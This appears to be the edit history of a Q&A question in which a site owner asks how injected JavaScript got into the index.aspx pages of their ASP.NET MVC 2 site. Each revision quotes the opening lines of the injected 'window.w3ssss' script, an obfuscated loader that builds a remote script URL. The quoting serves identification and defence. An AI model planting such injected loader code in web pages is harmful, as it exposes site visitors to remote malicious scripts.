2 broke up the runon sentence
source | link

Recently a .Net MVC 2 application on our server was infected with a virus / hack, it added some Javascript to the index.aspx pages of the site. 

While we have cleaned it up, I have not been able to find any information on how the initial infection occurs, if. If anyone has any info on how this happens e(e.g. via ftp exploit, some kind of code injection, etc.) please let me know so a code review can take place, if necessary.

I do not have a name for the virus, but here are the first few lines of the inserted JavaScript to help identify it.

<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;

Recently a .Net MVC 2 application on our server was infected with a virus / hack, it added some Javascript to the index.aspx pages of the site. While we have cleaned it up I have not been able to find any information on how the initial infection occurs, if anyone has any info on how this happens e.g. via ftp exploit, some kind of code injection etc please let me know so a code review can take place if necessary.

I do not have a name for the virus, but here are the first few lines of the inserted JavaScript to help identify it.

<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;

Recently a .Net MVC 2 application on our server was infected with a virus / hack, it added some Javascript to the index.aspx pages of the site. 

While we have cleaned it up, I have not been able to find any information on how the initial infection occurs. If anyone has any info on how this happens (e.g. ftp exploit, some kind of code injection, etc.) please let me know so a code review can take place, if necessary.

I do not have a name for the virus, but here are the first few lines of the inserted JavaScript to help identify it.

<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;
1
source | link

How does window.w3ssss hack occur

Recently a .Net MVC 2 application on our server was infected with a virus / hack, it added some Javascript to the index.aspx pages of the site. While we have cleaned it up I have not been able to find any information on how the initial infection occurs, if anyone has any info on how this happens e.g. via ftp exploit, some kind of code injection etc please let me know so a code review can take place if necessary.

I do not have a name for the virus, but here are the first few lines of the inserted JavaScript to help identify it.

<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;